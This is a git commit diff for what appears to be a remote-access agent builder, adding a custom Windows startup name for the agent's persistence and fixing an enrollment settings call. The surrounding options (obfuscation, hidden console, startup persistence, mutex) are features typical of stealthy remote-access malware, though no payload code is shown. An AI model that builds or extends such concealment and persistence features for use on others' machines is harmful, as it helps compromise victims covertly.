add custom file names to building and fix purgatory issue
This commit is contained in:
@@ -70,6 +70,7 @@ type BuildProcessConfig = {
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
builtByUserId?: number;
|
||||
@@ -702,6 +703,11 @@ func runBoundFiles() {
|
||||
ldflags = `${ldflags} ${methodFlag}`;
|
||||
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||
}
|
||||
if (os === 'windows' && config.startupName) {
|
||||
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
||||
ldflags = `${ldflags} ${startupNameFlag}`;
|
||||
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
|
||||
}
|
||||
} else {
|
||||
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
|
||||
}
|
||||
|
||||
@@ -48,6 +48,7 @@ export async function handleBuildRoutes(
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod,
|
||||
startupName,
|
||||
mutex,
|
||||
disableMutex,
|
||||
hideConsole,
|
||||
@@ -135,6 +136,10 @@ export async function handleBuildRoutes(
|
||||
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||
? persistenceMethod.toLowerCase()
|
||||
: 'startup';
|
||||
const safeStartupName =
|
||||
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
|
||||
? startupName.trim()
|
||||
: undefined;
|
||||
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
|
||||
? outputName.trim()
|
||||
: undefined;
|
||||
@@ -217,6 +222,7 @@ export async function handleBuildRoutes(
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: safePersistenceMethod,
|
||||
startupName: safeStartupName,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
builtByUserId: user.userId,
|
||||
|
||||
@@ -66,7 +66,7 @@ export async function handleEnrollmentRoutes(
|
||||
return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
|
||||
}
|
||||
|
||||
await updateEnrollmentConfig(body.requireApproval);
|
||||
await updateEnrollmentConfig({ requireApproval: body.requireApproval });
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
|
||||
Reference in New Issue
Block a user